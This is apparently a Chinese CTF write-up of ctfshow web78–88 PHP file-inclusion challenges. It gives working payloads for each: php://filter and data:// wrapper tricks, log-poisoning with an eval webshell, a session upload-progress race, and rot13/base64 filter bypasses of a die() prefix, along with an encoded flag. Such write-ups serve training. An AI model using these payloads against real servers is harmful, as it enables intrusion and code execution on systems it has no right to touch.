目录
web78 php://filter
web79 data://text/plain
web80 日志文件包含
web81
web82-86 session 文件包含
web87 死亡代码 绕过 rot13 base64
rot13
base64
web88
web78 php://filter
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 10:52:43
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];include($file);
}else{highlight_file(__FILE__);
}
包含一个文件
发现了 include 我们可以配合伪协议来读取flag
php://filter/read=convert.base64-encode/resource=flag.php
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0xNiAxMDo1NToxMQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMTYgMTA6NTU6MjANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3s3MDQ4ZDgyOC0yYzBiLTQzZDAtYmRjYi02OTNmNWVhMjI3Yzh9Ijs=
解码
web79 data://text/plain
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:10:14
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);include($file);
}else{highlight_file(__FILE__);
}
过滤了 将php过滤 为 ???
那我们通过 data协议直接执行查询代码
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw==ls
读取flag
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw==
web80 日志文件包含
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);include($file);
}else{highlight_file(__FILE__);
}
首先使用插件查看服务
发现是使用 nginx 的服务器 那么一般日志文件是存在
var/log/nginx/access.log
那我们看看去访问文件
发现能读取 那我们传入 命令
看看能不能解析
那就很简单了 直接通过 一句话木马上传即可
1=system('tac /var/www/html/fl0g.php');
web81
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);include($file);
}else{highlight_file(__FILE__);
}
发现还是可以使用日志包含
访问 /var/log/nginx/access/log
上传一句话木马
<?php @eval($_GET[1]);?>
/?file=/var/log/nginx/access.log&1=system('ls /var/www/html');
/?file=/var/log/nginx/access.log&1=system('tac /var/www/html/fl0g.php');
web82-86 session 文件包含
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 19:34:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);include($file);
}else{highlight_file(__FILE__);
}
过滤了 .
那么 我们就无法使用 带有后缀的文件了
那在 php中 可以使用无后缀的 就是 session文件
这里就需要使用两个东西
session.upload_progressPHP_SESSION_UPLOAD_PROGRESS 参数
再了解 session.upload_progress是我们先了解 php.ini的参数
session.upload_progress.enable = on
浏览器向服务器上传文件的时候 会将上传信息存储在session中session.upload_progress.cleanup = on
在上传成功后 服务器会cleanup文件 清除session里面的内容session.upload_progress.prefix = "upload_progress_"
session里面的键名session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
如果name出现在表单中 那么就会报告上传进度
接下来我们分析过程
如果我们php.ini设置session.auto_start为onphp在接受到请求就会自动初始化 session 所以不需要执行 session start()但是默认情况下 session.auto_start 都是关闭的但是session还存在一个默认选项session.use_strict_mode默认值是为0这个时候 用户可以自定义Session ID例如我设置 cookie:PHPSESSID=Xio那么这个时候 会在服务器创建一个文件 /tmp/sess_Xio即使用户自己没有初始化 但是php也会自动初始化session并且产生一个键值 ini.get(“session.upload_progress.prefix”)+session.upload_progress.name总结我们写入的PHPSESSID会被当做文件名
这里又需要使用条件竞争来实现访问
web87 死亡代码 绕过 rot13 base64
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];$content = $_POST['content'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);}else{highlight_file(__FILE__);
}
file_put_content和死亡·杂糅代码之缘 - 先知社区
出现了一个 死亡代码
在我们写入文件的时候 会先执行<?php die('大佬别秀了');?>
那我们怎么绕过呢
首先就是加密方式
我们可以通过 rot13绕过
那我们怎么绕过 过滤php正则呢 只需要通过 url编码两次绕过即可
rot13
php://filter/write=string.rot13/resource=2.php两次url
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30
然后就是content的内容了
我们只需要 将 content内容 进行 rot13编码
然后即可
<?cuc flfgrz('yf');?>
然后执行访问 2.php
再次修改访问 fl0g.php即可
<?cuc flfgrz('gnp sy0t.cuc');?>
base64
我们get的内容已经实现了 那我们看看怎么绕过死亡代码
我们输入 <?php system('tac fl0g.php');?>就会结合为 <?php die('大佬别秀了');?><?php system('tac fl0g.php');?>
直接退出如果我们使用base64的话<?php die('大佬别秀了');?> 只会解码 php 和 die 指令 而base64通常是8个一组 phpdie只有6个 所以我们随便补充两个来保证解码aaPD9waHAgc3lzdGVtKCdscycpOz8+这个时候 base64解码就是phpdieaaPD9waHAgc3lzdGVtKCdscycpOz8+其中phpdieaa 会解码失败 从而绕过 死亡代码
所以我们来进行写入
POST
content=aaPD9waHAgc3lzdGVtKCdscycpOz8+GET?file=php://filter/write=convert.base64-decode/resource=flag.php?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30
修改文件名 然后写入 读取命令即可
POST
content=aa<?php system('tac fl0g.php');?>content=aaPD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTs/Pg==GET?file=php://filter/write=convert.base64-decode/resource=5.php?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%34%25%32%65%25%37%30%25%36%38%25%37%30
这样就绕过了死亡代码
web88
可以使用data协议来执行
?file=data://text/plain;base64,PD9waHAgICBzeXN0ZW0oIm5sICoucGhwIik7